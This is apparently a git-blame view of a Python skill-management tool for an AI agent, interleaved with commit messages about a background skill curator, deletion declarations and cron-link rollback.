"error": f"File '{file_path}' not found in skill '{name}'.",
|
|
|
|
|
"available_files": available if available else None,
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
target.unlink()
|
|
|
|
|
|
|
|
|
|
# Clean up empty subdirectories
|
|
|
|
|
parent = target.parent
|
|
|
|
|
if parent != skill_dir and parent.exists() and not any(parent.iterdir()):
|
|
|
|
|
parent.rmdir()
|
|
|
|
|
|
|
|
|
|
return {
|
|
|
|
|
"success": True,
|
|
|
|
|
"message": f"File '{file_path}' removed from skill '{name}'.",
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# =============================================================================
|
|
|
|
|
# Main entry point
|
|
|
|
|
# =============================================================================
|
|
|
|
|
|
|
|
|
|
def skill_manage(
|
|
|
|
|
action: str,
|
|
|
|
|
name: str,
|
|
|
|
|
content: str = None,
|
|
|
|
|
category: str = None,
|
|
|
|
|
file_path: str = None,
|
|
|
|
|
file_content: str = None,
|
|
|
|
|
old_string: str = None,
|
|
|
|
|
new_string: str = None,
|
|
|
|
|
replace_all: bool = False,
|
fix(curator): authoritative absorbed_into on delete + restore cron skill links on rollback (#18671) (#18731)
* fix(curator): authoritative absorbed_into declarations on skill delete
Closes #18671. The classification pipeline that feeds cron-ref rewriting
used to infer consolidation vs pruning from two brittle signals: the
curator model's post-hoc YAML summary block, and a substring heuristic
scanning other tool calls for the removed skill's name. Both miss in
real consolidations — the model forgets the YAML under reasoning
pressure, and the heuristic misses when the umbrella's patch content
describes the absorbed behavior abstractly instead of naming the old
slug. When both miss, the skill falls through to 'no-evidence fallback'
pruned, and #18253's cron rewriter drops the cron ref entirely instead
of mapping it to the umbrella. Same observable symptom as pre-#18253:
'Skill(s) not found and skipped' at the next cron run.
The fix makes the model declare intent at the moment of deletion.
skill_manage(action='delete') now accepts absorbed_into:
- absorbed_into='<umbrella>' -> consolidated, target must exist on disk
- absorbed_into='' -> explicit prune, no forwarding target
- missing -> legacy path, falls through to heuristic/YAML
The curator reconciler reads these declarations off llm_meta.tool_calls
BEFORE either the YAML block or the substring heuristic. Declaration
wins. Fallback logic stays intact for backward compat with any caller
(human or older curator conversation) that doesn't populate the arg.
Changes
- tools/skill_manager_tool.py: add absorbed_into param to skill_manage
+ _delete_skill. Validate target exists when non-empty. Reject
absorbed_into=<self>. Wire through dispatcher + registry + schema.
- agent/curator.py: new _extract_absorbed_into_declarations() walks
tool calls for skill_manage(delete) with the arg. _reconcile_classification
accepts absorbed_declarations= and treats them as authoritative. Curator
prompt updated to require the arg on every delete.
- Tests: 7 new skill_manager tests covering the tool contract (valid
target, empty string, nonexistent target, self-reference, whitespace,
backward compat, dispatcher plumbing). 11 new curator tests covering
the extractor + authoritative reconciler path + mixed-legacy-and-
declared runs.
Validation
- 307/307 targeted tests pass (curator + cron + skill_manager suites).
- E2E #18671 repro: 3 narrow skills, 1 umbrella, cron job referencing
all 3. Model emits NO YAML block. Heuristic misses (patch prose
doesn't name old slugs). Delete calls carry absorbed_into. Result:
both PR skills correctly classified 'consolidated' + cron rewritten
['pr-review-format', 'pr-review-checklist', 'stale-junk'] ->
['hermes-agent-dev']; stale-junk pruned via absorbed_into=''.
- E2E backward-compat: delete without absorbed_into, model emits YAML
-> routed via existing 'model' source, cron still rewritten correctly.
* feat(curator): capture + restore cron skill links across snapshot/rollback
Before this, rolling back a curator run restored the skills tree but cron
jobs still pointed at the umbrella skills the curator had rewritten them
to. The user would see their old narrow skills back on disk but their
cron jobs still configured with the merged umbrella — not actually 'back
to how it was'.
Snapshot side: snapshot_skills() now captures ~/.hermes/cron/jobs.json
alongside the skills tarball, as cron-jobs.json. The manifest gets a new
'cron_jobs' block with {backed_up, jobs_count} so rollback (and the CLI
confirm dialog) can surface what's in the snapshot. If jobs.json is
missing/unreadable/malformed, snapshot proceeds without cron data — the
skills backup is the core guarantee; cron is additive.
Rollback side: after the skills extract succeeds, the new
_restore_cron_skill_links() reconciles the backed-up jobs into the live
jobs.json SURGICALLY. Only 'skills' and 'skill' fields are restored, and
only on jobs matched by id. Everything else about a cron job — schedule,
last_run_at, next_run_at, enabled, prompt, workdir, hooks — is live
state the user or scheduler has modified since the snapshot; overwriting
it would regress unrelated activity.
Reconciliation rules:
- Job in backup AND live, skills differ → skills restored.
- Job in backup AND live, skills match → no-op.
- Job in backup, NOT in live → skipped (user deleted it
after snapshot; their choice
is later than the snapshot).
- Job in live, NOT in backup → untouched (user created it
after snapshot).
- Snapshot missing cron-jobs.json at all → rollback still succeeds,
reports 'not captured'
(older pre-feature snapshots
keep working).
Writes go through cron.jobs.save_jobs under the same _jobs_file_lock the
scheduler uses, so rollback doesn't race tick().
Also:
- hermes_cli/curator.py: rollback confirm dialog now shows
'cron jobs: N (will be restored for skill-link fields only)' when the
snapshot has cron data, or 'not in snapshot (<reason>)' otherwise.
- rollback()'s message string includes a 'cron links: ...' clause
summarizing the reconciliation outcome.
Tests
- 9 new cases: snapshot-with-cron, snapshot-without-cron, malformed-json
captured-as-raw, full rollback-restores-skills-and-cron, rollback
touches only skill fields, rollback skips user-deleted jobs, rollback
leaves user-created jobs untouched, rollback still works with
pre-feature snapshot that has no cron-jobs.json, standalone unit test
on _restore_cron_skill_links exercising the full report shape.
Validation
- 484/484 targeted tests pass (curator + cron + skill_manager suites).
- E2E: real snapshot_skills, real cron rewrite, real rollback. Before:
['pr-review-format', 'pr-review-checklist', 'pr-triage-salvage'].
After curator: ['hermes-agent-dev']. After rollback: ['pr-review-format',
'pr-review-checklist', 'pr-triage-salvage']. Non-skill fields (id,
name, prompt) preserved across the round trip.
2026-05-02 01:29:57 -07:00
|
|
|
absorbed_into: str = None,
|
2026-02-19 18:25:53 -08:00
|
|
|
) -> str:
|
|
|
|
|
"""
|
|
|
|
|
Manage user-created skills. Dispatches to the appropriate action handler.
|
|
|
|
|
|
|
|
|
|
Returns JSON string with results.
|
|
|
|
|
"""
|
|
|
|
|
if action == "create":
|
|
|
|
|
if not content:
|
refactor: add tool_error/tool_result helpers + read_raw_config, migrate 129 callsites
Add three reusable helpers to eliminate pervasive boilerplate:
tools/registry.py — tool_error() and tool_result():
Every tool handler returns JSON strings. The pattern
json.dumps({"error": msg}, ensure_ascii=False) appeared 106 times,
and json.dumps({"success": False, "error": msg}, ...) another 23.
Now: tool_error(msg) or tool_error(msg, success=False).
tool_result() handles arbitrary result dicts:
tool_result(success=True, data=payload) or tool_result(some_dict).
hermes_cli/config.py — read_raw_config():
Lightweight YAML reader that returns the raw config dict without
load_config()'s deep-merge + migration overhead. Available for
callsites that just need a single config value.
Migration (129 callsites across 32 files):
- tools/: browser_camofox (18), file_tools (10), homeassistant (8),
web_tools (7), skill_manager (7), cronjob (11), code_execution (4),
delegate (5), send_message (4), tts (4), memory (7), session_search (3),
mcp (2), clarify (2), skills_tool (3), todo (1), vision (1),
browser (1), process_registry (2), image_gen (1)
- plugins/memory/: honcho (9), supermemory (9), hindsight (8),
holographic (7), openviking (7), mem0 (7), byterover (6), retaindb (2)
- agent/: memory_manager (2), builtin_memory_provider (1)
2026-04-07 13:36:20 -07:00
|
|
|
return tool_error("content is required for 'create'. Provide the full SKILL.md text (frontmatter + body).", success=False)
|
2026-02-19 18:25:53 -08:00
|
|
|
result = _create_skill(name, content, category)
|
|
|
|
|
|
|
|
|
|
elif action == "edit":
|
|
|
|
|
if not content:
|
refactor: add tool_error/tool_result helpers + read_raw_config, migrate 129 callsites
Add three reusable helpers to eliminate pervasive boilerplate:
tools/registry.py — tool_error() and tool_result():
Every tool handler returns JSON strings. The pattern
json.dumps({"error": msg}, ensure_ascii=False) appeared 106 times,
and json.dumps({"success": False, "error": msg}, ...) another 23.
Now: tool_error(msg) or tool_error(msg, success=False).
tool_result() handles arbitrary result dicts:
tool_result(success=True, data=payload) or tool_result(some_dict).
hermes_cli/config.py — read_raw_config():
Lightweight YAML reader that returns the raw config dict without
load_config()'s deep-merge + migration overhead. Available for
callsites that just need a single config value.
Migration (129 callsites across 32 files):
- tools/: browser_camofox (18), file_tools (10), homeassistant (8),
web_tools (7), skill_manager (7), cronjob (11), code_execution (4),
delegate (5), send_message (4), tts (4), memory (7), session_search (3),
mcp (2), clarify (2), skills_tool (3), todo (1), vision (1),
browser (1), process_registry (2), image_gen (1)
- plugins/memory/: honcho (9), supermemory (9), hindsight (8),
holographic (7), openviking (7), mem0 (7), byterover (6), retaindb (2)
- agent/: memory_manager (2), builtin_memory_provider (1)
2026-04-07 13:36:20 -07:00
|
|
|
return tool_error("content is required for 'edit'. Provide the full updated SKILL.md text.", success=False)
|
2026-02-19 18:25:53 -08:00
|
|
|
result = _edit_skill(name, content)
|
|
|
|
|
|
|
|
|
|
elif action == "patch":
|
|
|
|
|
if not old_string:
|
refactor: add tool_error/tool_result helpers + read_raw_config, migrate 129 callsites
Add three reusable helpers to eliminate pervasive boilerplate:
tools/registry.py — tool_error() and tool_result():
Every tool handler returns JSON strings. The pattern
json.dumps({"error": msg}, ensure_ascii=False) appeared 106 times,
and json.dumps({"success": False, "error": msg}, ...) another 23.
Now: tool_error(msg) or tool_error(msg, success=False).
tool_result() handles arbitrary result dicts:
tool_result(success=True, data=payload) or tool_result(some_dict).
hermes_cli/config.py — read_raw_config():
Lightweight YAML reader that returns the raw config dict without
load_config()'s deep-merge + migration overhead. Available for
callsites that just need a single config value.
Migration (129 callsites across 32 files):
- tools/: browser_camofox (18), file_tools (10), homeassistant (8),
web_tools (7), skill_manager (7), cronjob (11), code_execution (4),
delegate (5), send_message (4), tts (4), memory (7), session_search (3),
mcp (2), clarify (2), skills_tool (3), todo (1), vision (1),
browser (1), process_registry (2), image_gen (1)
- plugins/memory/: honcho (9), supermemory (9), hindsight (8),
holographic (7), openviking (7), mem0 (7), byterover (6), retaindb (2)
- agent/: memory_manager (2), builtin_memory_provider (1)
2026-04-07 13:36:20 -07:00
|
|
|
return tool_error("old_string is required for 'patch'. Provide the text to find.", success=False)
|
2026-02-19 18:25:53 -08:00
|
|
|
if new_string is None:
|
refactor: add tool_error/tool_result helpers + read_raw_config, migrate 129 callsites
Add three reusable helpers to eliminate pervasive boilerplate:
tools/registry.py — tool_error() and tool_result():
Every tool handler returns JSON strings. The pattern
json.dumps({"error": msg}, ensure_ascii=False) appeared 106 times,
and json.dumps({"success": False, "error": msg}, ...) another 23.
Now: tool_error(msg) or tool_error(msg, success=False).
tool_result() handles arbitrary result dicts:
tool_result(success=True, data=payload) or tool_result(some_dict).
hermes_cli/config.py — read_raw_config():
Lightweight YAML reader that returns the raw config dict without
load_config()'s deep-merge + migration overhead. Available for
callsites that just need a single config value.
Migration (129 callsites across 32 files):
- tools/: browser_camofox (18), file_tools (10), homeassistant (8),
web_tools (7), skill_manager (7), cronjob (11), code_execution (4),
delegate (5), send_message (4), tts (4), memory (7), session_search (3),
mcp (2), clarify (2), skills_tool (3), todo (1), vision (1),
browser (1), process_registry (2), image_gen (1)
- plugins/memory/: honcho (9), supermemory (9), hindsight (8),
holographic (7), openviking (7), mem0 (7), byterover (6), retaindb (2)
- agent/: memory_manager (2), builtin_memory_provider (1)
2026-04-07 13:36:20 -07:00
|
|
|
return tool_error("new_string is required for 'patch'. Use empty string to delete matched text.", success=False)
|
2026-02-19 18:25:53 -08:00
|
|
|
result = _patch_skill(name, old_string, new_string, file_path, replace_all)
|
|
|
|
|
|
|
|
|
|
elif action == "delete":
|
fix(curator): authoritative absorbed_into on delete + restore cron skill links on rollback (#18671) (#18731)
* fix(curator): authoritative absorbed_into declarations on skill delete
Closes #18671. The classification pipeline that feeds cron-ref rewriting
used to infer consolidation vs pruning from two brittle signals: the
curator model's post-hoc YAML summary block, and a substring heuristic
scanning other tool calls for the removed skill's name. Both miss in
real consolidations — the model forgets the YAML under reasoning
pressure, and the heuristic misses when the umbrella's patch content
describes the absorbed behavior abstractly instead of naming the old
slug. When both miss, the skill falls through to 'no-evidence fallback'
pruned, and #18253's cron rewriter drops the cron ref entirely instead
of mapping it to the umbrella. Same observable symptom as pre-#18253:
'Skill(s) not found and skipped' at the next cron run.
The fix makes the model declare intent at the moment of deletion.
skill_manage(action='delete') now accepts absorbed_into:
- absorbed_into='<umbrella>' -> consolidated, target must exist on disk
- absorbed_into='' -> explicit prune, no forwarding target
- missing -> legacy path, falls through to heuristic/YAML
The curator reconciler reads these declarations off llm_meta.tool_calls
BEFORE either the YAML block or the substring heuristic. Declaration
wins. Fallback logic stays intact for backward compat with any caller
(human or older curator conversation) that doesn't populate the arg.
Changes
- tools/skill_manager_tool.py: add absorbed_into param to skill_manage
+ _delete_skill. Validate target exists when non-empty. Reject
absorbed_into=<self>. Wire through dispatcher + registry + schema.
- agent/curator.py: new _extract_absorbed_into_declarations() walks
tool calls for skill_manage(delete) with the arg. _reconcile_classification
accepts absorbed_declarations= and treats them as authoritative. Curator
prompt updated to require the arg on every delete.
- Tests: 7 new skill_manager tests covering the tool contract (valid
target, empty string, nonexistent target, self-reference, whitespace,
backward compat, dispatcher plumbing). 11 new curator tests covering
the extractor + authoritative reconciler path + mixed-legacy-and-
declared runs.
Validation
- 307/307 targeted tests pass (curator + cron + skill_manager suites).
- E2E #18671 repro: 3 narrow skills, 1 umbrella, cron job referencing
all 3. Model emits NO YAML block. Heuristic misses (patch prose
doesn't name old slugs). Delete calls carry absorbed_into. Result:
both PR skills correctly classified 'consolidated' + cron rewritten
['pr-review-format', 'pr-review-checklist', 'stale-junk'] ->
['hermes-agent-dev']; stale-junk pruned via absorbed_into=''.
- E2E backward-compat: delete without absorbed_into, model emits YAML
-> routed via existing 'model' source, cron still rewritten correctly.
* feat(curator): capture + restore cron skill links across snapshot/rollback
Before this, rolling back a curator run restored the skills tree but cron
jobs still pointed at the umbrella skills the curator had rewritten them
to. The user would see their old narrow skills back on disk but their
cron jobs still configured with the merged umbrella — not actually 'back
to how it was'.
Snapshot side: snapshot_skills() now captures ~/.hermes/cron/jobs.json
alongside the skills tarball, as cron-jobs.json. The manifest gets a new
'cron_jobs' block with {backed_up, jobs_count} so rollback (and the CLI
confirm dialog) can surface what's in the snapshot. If jobs.json is
missing/unreadable/malformed, snapshot proceeds without cron data — the
skills backup is the core guarantee; cron is additive.
Rollback side: after the skills extract succeeds, the new
_restore_cron_skill_links() reconciles the backed-up jobs into the live
jobs.json SURGICALLY. Only 'skills' and 'skill' fields are restored, and
only on jobs matched by id. Everything else about a cron job — schedule,
last_run_at, next_run_at, enabled, prompt, workdir, hooks — is live
state the user or scheduler has modified since the snapshot; overwriting
it would regress unrelated activity.
Reconciliation rules:
- Job in backup AND live, skills differ → skills restored.
- Job in backup AND live, skills match → no-op.
- Job in backup, NOT in live → skipped (user deleted it
after snapshot; their choice
is later than the snapshot).
- Job in live, NOT in backup → untouched (user created it
after snapshot).
- Snapshot missing cron-jobs.json at all → rollback still succeeds,
reports 'not captured'
(older pre-feature snapshots
keep working).
Writes go through cron.jobs.save_jobs under the same _jobs_file_lock the
scheduler uses, so rollback doesn't race tick().
Also:
- hermes_cli/curator.py: rollback confirm dialog now shows
'cron jobs: N (will be restored for skill-link fields only)' when the
snapshot has cron data, or 'not in snapshot (<reason>)' otherwise.
- rollback()'s message string includes a 'cron links: ...' clause
summarizing the reconciliation outcome.
Tests
- 9 new cases: snapshot-with-cron, snapshot-without-cron, malformed-json
captured-as-raw, full rollback-restores-skills-and-cron, rollback
touches only skill fields, rollback skips user-deleted jobs, rollback
leaves user-created jobs untouched, rollback still works with
pre-feature snapshot that has no cron-jobs.json, standalone unit test
on _restore_cron_skill_links exercising the full report shape.
Validation
- 484/484 targeted tests pass (curator + cron + skill_manager suites).
- E2E: real snapshot_skills, real cron rewrite, real rollback. Before:
['pr-review-format', 'pr-review-checklist', 'pr-triage-salvage'].
After curator: ['hermes-agent-dev']. After rollback: ['pr-review-format',
'pr-review-checklist', 'pr-triage-salvage']. Non-skill fields (id,
name, prompt) preserved across the round trip.
2026-05-02 01:29:57 -07:00
|
|
|
result = _delete_skill(name, absorbed_into=absorbed_into)
|
2026-02-19 18:25:53 -08:00
|
|
|
|
|
|
|
|
elif action == "write_file":
|
|
|
|
|
if not file_path:
|
refactor: add tool_error/tool_result helpers + read_raw_config, migrate 129 callsites
Add three reusable helpers to eliminate pervasive boilerplate:
tools/registry.py — tool_error() and tool_result():
Every tool handler returns JSON strings. The pattern
json.dumps({"error": msg}, ensure_ascii=False) appeared 106 times,
and json.dumps({"success": False, "error": msg}, ...) another 23.
Now: tool_error(msg) or tool_error(msg, success=False).
tool_result() handles arbitrary result dicts:
tool_result(success=True, data=payload) or tool_result(some_dict).
hermes_cli/config.py — read_raw_config():
Lightweight YAML reader that returns the raw config dict without
load_config()'s deep-merge + migration overhead. Available for
callsites that just need a single config value.
Migration (129 callsites across 32 files):
- tools/: browser_camofox (18), file_tools (10), homeassistant (8),
web_tools (7), skill_manager (7), cronjob (11), code_execution (4),
delegate (5), send_message (4), tts (4), memory (7), session_search (3),
mcp (2), clarify (2), skills_tool (3), todo (1), vision (1),
browser (1), process_registry (2), image_gen (1)
- plugins/memory/: honcho (9), supermemory (9), hindsight (8),
holographic (7), openviking (7), mem0 (7), byterover (6), retaindb (2)
- agent/: memory_manager (2), builtin_memory_provider (1)
2026-04-07 13:36:20 -07:00
|
|
|
return tool_error("file_path is required for 'write_file'. Example: 'references/api-guide.md'", success=False)
|
2026-02-19 18:25:53 -08:00
|
|
|
if file_content is None:
|
refactor: add tool_error/tool_result helpers + read_raw_config, migrate 129 callsites
Add three reusable helpers to eliminate pervasive boilerplate:
tools/registry.py — tool_error() and tool_result():
Every tool handler returns JSON strings. The pattern
json.dumps({"error": msg}, ensure_ascii=False) appeared 106 times,
and json.dumps({"success": False, "error": msg}, ...) another 23.
Now: tool_error(msg) or tool_error(msg, success=False).
tool_result() handles arbitrary result dicts:
tool_result(success=True, data=payload) or tool_result(some_dict).
hermes_cli/config.py — read_raw_config():
Lightweight YAML reader that returns the raw config dict without
load_config()'s deep-merge + migration overhead. Available for
callsites that just need a single config value.
Migration (129 callsites across 32 files):
- tools/: browser_camofox (18), file_tools (10), homeassistant (8),
web_tools (7), skill_manager (7), cronjob (11), code_execution (4),
delegate (5), send_message (4), tts (4), memory (7), session_search (3),
mcp (2), clarify (2), skills_tool (3), todo (1), vision (1),
browser (1), process_registry (2), image_gen (1)
- plugins/memory/: honcho (9), supermemory (9), hindsight (8),
holographic (7), openviking (7), mem0 (7), byterover (6), retaindb (2)
- agent/: memory_manager (2), builtin_memory_provider (1)
2026-04-07 13:36:20 -07:00
|
|
|
return tool_error("file_content is required for 'write_file'.", success=False)
|
2026-02-19 18:25:53 -08:00
|
|
|
result = _write_file(name, file_path, file_content)
|
|
|
|
|
|
|
|
|
|
elif action == "remove_file":
|
|
|
|
|
if not file_path:
|
refactor: add tool_error/tool_result helpers + read_raw_config, migrate 129 callsites
Add three reusable helpers to eliminate pervasive boilerplate:
tools/registry.py — tool_error() and tool_result():
Every tool handler returns JSON strings. The pattern
json.dumps({"error": msg}, ensure_ascii=False) appeared 106 times,
and json.dumps({"success": False, "error": msg}, ...) another 23.
Now: tool_error(msg) or tool_error(msg, success=False).
tool_result() handles arbitrary result dicts:
tool_result(success=True, data=payload) or tool_result(some_dict).
hermes_cli/config.py — read_raw_config():
Lightweight YAML reader that returns the raw config dict without
load_config()'s deep-merge + migration overhead. Available for
callsites that just need a single config value.
Migration (129 callsites across 32 files):
- tools/: browser_camofox (18), file_tools (10), homeassistant (8),
web_tools (7), skill_manager (7), cronjob (11), code_execution (4),
delegate (5), send_message (4), tts (4), memory (7), session_search (3),
mcp (2), clarify (2), skills_tool (3), todo (1), vision (1),
browser (1), process_registry (2), image_gen (1)
- plugins/memory/: honcho (9), supermemory (9), hindsight (8),
holographic (7), openviking (7), mem0 (7), byterover (6), retaindb (2)
- agent/: memory_manager (2), builtin_memory_provider (1)
2026-04-07 13:36:20 -07:00
|
|
|
return tool_error("file_path is required for 'remove_file'.", success=False)
|
2026-02-19 18:25:53 -08:00
|
|
|
result = _remove_file(name, file_path)
|
|
|
|
|
|
|
|
|
|
else:
|
|
|
|
|
result = {"success": False, "error": f"Unknown action '{action}'. Use: create, edit, patch, delete, write_file, remove_file"}
|
|
|
|
|
|
2026-03-27 10:54:02 -07:00
|
|
|
if result.get("success"):
|
|
|
|
|
try:
|
|
|
|
|
from agent.prompt_builder import clear_skills_system_prompt_cache
|
|
|
|
|
clear_skills_system_prompt_cache(clear_snapshot=True)
|
|
|
|
|
except Exception:
|
|
|
|
|
pass
|
feat(curator): background skill maintenance (issue #7816)
Adds the Curator — an auxiliary-model background task that periodically
reviews AGENT-CREATED skills and keeps the collection tidy: tracks usage,
transitions unused skills through active → stale → archived, and spawns
a forked AIAgent to consolidate overlaps and patch drift.
Default: enabled, inactivity-triggered (no cron daemon). Runs on CLI
startup and gateway boot when the last run is older than interval_hours
(default 24) AND the agent has been idle for min_idle_hours (default 2).
Invariants (all load-bearing):
- Never touches bundled or hub-installed skills (.bundled_manifest +
.hub/lock.json double-filter)
- Never auto-deletes — archive only. Archives are recoverable
via `hermes curator restore <skill>`
- Pinned skills bypass all auto-transitions
- Uses the aux client; never touches the main session's prompt cache
New files:
- tools/skill_usage.py — sidecar .usage.json telemetry, atomic writes,
provenance filter
- agent/curator.py — orchestrator: config, idle gating, state-machine
transitions (pure, no LLM), forked-agent review prompt
- hermes_cli/curator.py — `hermes curator {status,run,pause,resume,
pin,unpin,restore}` subcommand
- tests/tools/test_skill_usage.py — 29 tests
- tests/agent/test_curator.py — 25 tests
Modified files (surgical patches):
- tools/skills_tool.py — bump view_count on successful skill_view
- tools/skill_manager_tool.py — bump patch_count on skill_manage
patch/edit/write_file/remove_file; forget record on delete
- hermes_cli/config.py — add curator: section to DEFAULT_CONFIG
- hermes_cli/commands.py — add /curator CommandDef with subcommands
- hermes_cli/main.py — register `hermes curator` subparser via
register_cli() from hermes_cli.curator
- cli.py — /curator slash-command dispatch + startup hook
- gateway/run.py — gateway-boot hook (mirrors CLI)
Validation:
- 54 new tests across skill_usage + curator, all passing in 3s
- 346 tests across all touched files' neighbors green
- 2783 tests across hermes_cli/ + gateway/test_run_progress_topics.py green
- CLI smoke: `hermes curator status/pause/resume` work end-to-end
Companion to PR #16026 (class-first skill review prompt) — together
they form a loop: the review prompt stops near-duplicate skill creation
at the source, and the curator prunes/consolidates what still accumulates.
Refs #7816.
2026-04-26 06:08:39 -07:00
|
|
|
# Curator telemetry: bump patch_count on edit/patch/write_file (the actions
|
|
|
|
|
# that mutate an existing skill's guidance), drop the record on delete.
|
2026-05-04 02:42:16 -07:00
|
|
|
# Only mark a skill as agent-created when the background self-improvement
|
|
|
|
|
# review fork creates it — foreground `skill_manage(create)` calls are
|
|
|
|
|
# user-directed, and those skills belong to the user (the curator must
|
|
|
|
|
# not touch them). Best-effort; telemetry failures never break the tool.
|
feat(curator): background skill maintenance (issue #7816)
Adds the Curator — an auxiliary-model background task that periodically
reviews AGENT-CREATED skills and keeps the collection tidy: tracks usage,
transitions unused skills through active → stale → archived, and spawns
a forked AIAgent to consolidate overlaps and patch drift.
Default: enabled, inactivity-triggered (no cron daemon). Runs on CLI
startup and gateway boot when the last run is older than interval_hours
(default 24) AND the agent has been idle for min_idle_hours (default 2).
Invariants (all load-bearing):
- Never touches bundled or hub-installed skills (.bundled_manifest +
.hub/lock.json double-filter)
- Never auto-deletes — archive only. Archives are recoverable
via `hermes curator restore <skill>`
- Pinned skills bypass all auto-transitions
- Uses the aux client; never touches the main session's prompt cache
New files:
- tools/skill_usage.py — sidecar .usage.json telemetry, atomic writes,
provenance filter
- agent/curator.py — orchestrator: config, idle gating, state-machine
transitions (pure, no LLM), forked-agent review prompt
- hermes_cli/curator.py — `hermes curator {status,run,pause,resume,
pin,unpin,restore}` subcommand
- tests/tools/test_skill_usage.py — 29 tests
- tests/agent/test_curator.py — 25 tests
Modified files (surgical patches):
- tools/skills_tool.py — bump view_count on successful skill_view
- tools/skill_manager_tool.py — bump patch_count on skill_manage
patch/edit/write_file/remove_file; forget record on delete
- hermes_cli/config.py — add curator: section to DEFAULT_CONFIG
- hermes_cli/commands.py — add /curator CommandDef with subcommands
- hermes_cli/main.py — register `hermes curator` subparser via
register_cli() from hermes_cli.curator
- cli.py — /curator slash-command dispatch + startup hook
- gateway/run.py — gateway-boot hook (mirrors CLI)
Validation:
- 54 new tests across skill_usage + curator, all passing in 3s
- 346 tests across all touched files' neighbors green
- 2783 tests across hermes_cli/ + gateway/test_run_progress_topics.py green
- CLI smoke: `hermes curator status/pause/resume` work end-to-end
Companion to PR #16026 (class-first skill review prompt) — together
they form a loop: the review prompt stops near-duplicate skill creation
at the source, and the curator prunes/consolidates what still accumulates.
Refs #7816.
2026-04-26 06:08:39 -07:00
|
|
|
try:
|
2026-05-03 21:44:04 +08:00
|
|
|
from tools.skill_usage import bump_patch, forget, mark_agent_created
|
2026-05-04 02:42:16 -07:00
|
|
|
from tools.skill_provenance import is_background_review
|
2026-05-03 21:44:04 +08:00
|
|
|
if action == "create":
|
2026-05-04 02:42:16 -07:00
|
|
|
if is_background_review():
|
|
|
|
|
mark_agent_created(name)
|
2026-05-03 21:44:04 +08:00
|
|
|
elif action in ("patch", "edit", "write_file", "remove_file"):
|
feat(curator): background skill maintenance (issue #7816)
Adds the Curator — an auxiliary-model background task that periodically
reviews AGENT-CREATED skills and keeps the collection tidy: tracks usage,
transitions unused skills through active → stale → archived, and spawns
a forked AIAgent to consolidate overlaps and patch drift.
Default: enabled, inactivity-triggered (no cron daemon). Runs on CLI
startup and gateway boot when the last run is older than interval_hours
(default 24) AND the agent has been idle for min_idle_hours (default 2).
Invariants (all load-bearing):
- Never touches bundled or hub-installed skills (.bundled_manifest +
.hub/lock.json double-filter)
- Never auto-deletes — archive only. Archives are recoverable
via `hermes curator restore <skill>`
- Pinned skills bypass all auto-transitions
- Uses the aux client; never touches the main session's prompt cache
New files:
- tools/skill_usage.py — sidecar .usage.json telemetry, atomic writes,
provenance filter
- agent/curator.py — orchestrator: config, idle gating, state-machine
transitions (pure, no LLM), forked-agent review prompt
- hermes_cli/curator.py — `hermes curator {status,run,pause,resume,
pin,unpin,restore}` subcommand
- tests/tools/test_skill_usage.py — 29 tests
- tests/agent/test_curator.py — 25 tests
Modified files (surgical patches):
- tools/skills_tool.py — bump view_count on successful skill_view
- tools/skill_manager_tool.py — bump patch_count on skill_manage
patch/edit/write_file/remove_file; forget record on delete
- hermes_cli/config.py — add curator: section to DEFAULT_CONFIG
- hermes_cli/commands.py — add /curator CommandDef with subcommands
- hermes_cli/main.py — register `hermes curator` subparser via
register_cli() from hermes_cli.curator
- cli.py — /curator slash-command dispatch + startup hook
- gateway/run.py — gateway-boot hook (mirrors CLI)
Validation:
- 54 new tests across skill_usage + curator, all passing in 3s
- 346 tests across all touched files' neighbors green
- 2783 tests across hermes_cli/ + gateway/test_run_progress_topics.py green
- CLI smoke: `hermes curator status/pause/resume` work end-to-end
Companion to PR #16026 (class-first skill review prompt) — together
they form a loop: the review prompt stops near-duplicate skill creation
at the source, and the curator prunes/consolidates what still accumulates.
Refs #7816.
2026-04-26 06:08:39 -07:00
|
|
|
bump_patch(name)
|
|
|
|
|
elif action == "delete":
|
|
|
|
|
forget(name)
|
|
|
|
|
except Exception:
|
|
|
|
|
pass
|
2026-03-27 10:54:02 -07:00
|
|
|
|
2026-02-19 18:25:53 -08:00
|
|
|
return json.dumps(result, ensure_ascii=False)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# =============================================================================
|
|
|
|
|
# OpenAI Function-Calling Schema
|
|
|
|
|
# =============================================================================
|
|
|
|
|
|
|
|
|
|
SKILL_MANAGE_SCHEMA = {
|
|
|
|
|
"name": "skill_manage",
|
|
|
|
|
"description": (
|
|
|
|
|
"Manage skills (create, update, delete). Skills are your procedural "
|
|
|
|
|
"memory — reusable approaches for recurring task types. "
|
2026-04-15 04:57:55 -07:00
|
|
|
f"New skills go to {display_hermes_home()}/skills/; existing skills can be modified wherever they live.\n\n"
|
2026-02-19 18:25:53 -08:00
|
|
|
"Actions: create (full SKILL.md + optional category), "
|
|
|
|
|
"patch (old_string/new_string — preferred for fixes), "
|
|
|
|
|
"edit (full SKILL.md rewrite — major overhauls only), "
|
|
|
|
|
"delete, write_file, remove_file.\n\n"
|
fix(curator): authoritative absorbed_into on delete + restore cron skill links on rollback (#18671) (#18731)
* fix(curator): authoritative absorbed_into declarations on skill delete
Closes #18671. The classification pipeline that feeds cron-ref rewriting
used to infer consolidation vs pruning from two brittle signals: the
curator model's post-hoc YAML summary block, and a substring heuristic
scanning other tool calls for the removed skill's name. Both miss in
real consolidations — the model forgets the YAML under reasoning
pressure, and the heuristic misses when the umbrella's patch content
describes the absorbed behavior abstractly instead of naming the old
slug. When both miss, the skill falls through to 'no-evidence fallback'
pruned, and #18253's cron rewriter drops the cron ref entirely instead
of mapping it to the umbrella. Same observable symptom as pre-#18253:
'Skill(s) not found and skipped' at the next cron run.
The fix makes the model declare intent at the moment of deletion.
skill_manage(action='delete') now accepts absorbed_into:
- absorbed_into='<umbrella>' -> consolidated, target must exist on disk
- absorbed_into='' -> explicit prune, no forwarding target
- missing -> legacy path, falls through to heuristic/YAML
The curator reconciler reads these declarations off llm_meta.tool_calls
BEFORE either the YAML block or the substring heuristic. Declaration
wins. Fallback logic stays intact for backward compat with any caller
(human or older curator conversation) that doesn't populate the arg.
Changes
- tools/skill_manager_tool.py: add absorbed_into param to skill_manage
+ _delete_skill. Validate target exists when non-empty. Reject
absorbed_into=<self>. Wire through dispatcher + registry + schema.
- agent/curator.py: new _extract_absorbed_into_declarations() walks
tool calls for skill_manage(delete) with the arg. _reconcile_classification
